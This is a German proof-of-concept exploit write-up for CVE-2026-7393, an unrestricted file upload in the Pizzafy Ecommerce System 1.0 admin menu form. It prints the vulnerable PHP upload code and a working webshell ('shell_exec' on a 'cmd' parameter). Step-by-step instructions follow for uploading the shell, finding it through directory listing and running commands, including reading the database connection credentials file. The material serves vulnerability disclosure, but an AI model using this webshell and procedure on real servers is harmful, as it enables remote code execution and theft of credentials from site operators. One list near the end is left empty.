
Proof-of-Concept-Exploit für CVE-2026-7393: uneingeschränkter Dateiupload im Pizzafy Ecommerce System 1.0, der authentifizierten Administratoren ermöglicht, eine PHP-Webshell hochzuladen und Remote-Code-Ausführung zu erreichen.
| Feld | Wert |
|---|---|
| Anbieter | SourceCodester |
| Anbieter-URL | https://www.sourcecodester.com |
| Produkt | Pizzafy Ecommerce System using PHP and MySQL |
| Produkt-URL | https://www.sourcecodester.com/php/18708/pizzafy-ecommerce-system.html |
| Version | 1.0 |
| Sicherheitslücke | Unbeschränkter Dateiupload → Remote-Codeausführung |
| CWE | CWE-434 |
| CVSSv3-Score | 7.8 (Hoch) |
| Angriffsvektor | Netzwerk |
| Authentifizierung erforderlich | Ja (Administrator) |
| Benutzerinteraktion | Keine |
| Forscher | Imad Alvi |
| Datum | 2026-04-12 |
Datei: Pizzafy/admin/admin_class_novo.php → Funktion save_menu()
Parameter: img (DATEI)
Upload-Pfad: Pizzafy/assets/img/
Die Funktion save_menu() in Pizzafy Ecommerce System 1.0 verarbeitet Bild-Uploads für Menüeinträge, ohne eine Dateityp-Validierung durchzuführen. Die Anwendung ermittelt die Dateiendung mittels pathinfo(), überprüft oder beschränkt die erlaubten Dateitypen jedoch nie, bevor die hochgeladene Datei in das webbasierte Verzeichnis assets/img/ verschoben wird. Ein authentifizierter Administrator kann eine PHP-Webshell als Menübild tarnen, hochladen und dann direkt über den Browser darauf zugreifen, um eine Remote-Codeausführung auf dem Server zu erreichen.
Verwundbarer Code in admin_class_novo.php:
function save_menu(){
extract($_POST);
// ...
if($_FILES['img']['tmp_name'] != ''){
$fname = strtotime(date('y-m-d H:i')).'_'.$_FILES['img']['name'];
$move = move_uploaded_file($_FILES['img']['tmp_name'],'../assets/img/'. $fname);
$data .= ", img_path = '$fname' ";
}
// Keine Prüfung der Dateiendung, kein MIME-Typ-Check
}
Erstellen Sie eine Datei mit dem Namen shell_web2.php und folgendem Inhalt:
<?php echo shell_exec($_GET['cmd']); ?>
Melden Sie sich als Administrator an und navigieren Sie zu:
http://localhost/pizzafy/Pizzafy/admin/index.php?page=menu
Füllen Sie das Menüformular mit gültigen Werten aus und wählen Sie shell_web2.php als Bilddatei aus. Klicken Sie auf Speichern.
Die Shell wird nun als Menüeintrag auf der kundenseitigen Seite angezeigt.
Navigieren Sie zum Assets-Verzeichnis – die Verzeichnisauflistung ist aktiviert (CWE-548):
http://192.168.0.9/pizzafy/Pizzafy/assets/img/
Die hochgeladene PHP-Shell ist in der Verzeichnisauflistung sichtbar.
Greifen Sie direkt auf die hochgeladene Shell zu und übergeben Sie Systembefehle über den Parameter cmd:
http://192.168.0.9/pizzafy/Pizzafy/assets/img/1775994120_shell_web2.php?cmd=whoami
Antwort – Betriebssystembefehl auf dem Server ausgeführt:
desktop-g1i9np3\dell
?cmd=whoami
?cmd=ipconfig
?cmd=dir C:\xampp\htdocs\pizzafy
?cmd=type C:\xampp\htdocs\pizzafy\Pizzafy\admin\db_connect.php
Ein authentifizierter Administrator kann:
Das Verzeichnis assets/img/ hat die Verzeichnisauflistung aktiviert, sodass nicht authentifizierte Benutzer alle hochgeladenen Dateien einschließlich der Webshell durchsuchen können. Dies verschärft die Schwere der Dateiupload-Sicherheitslücke.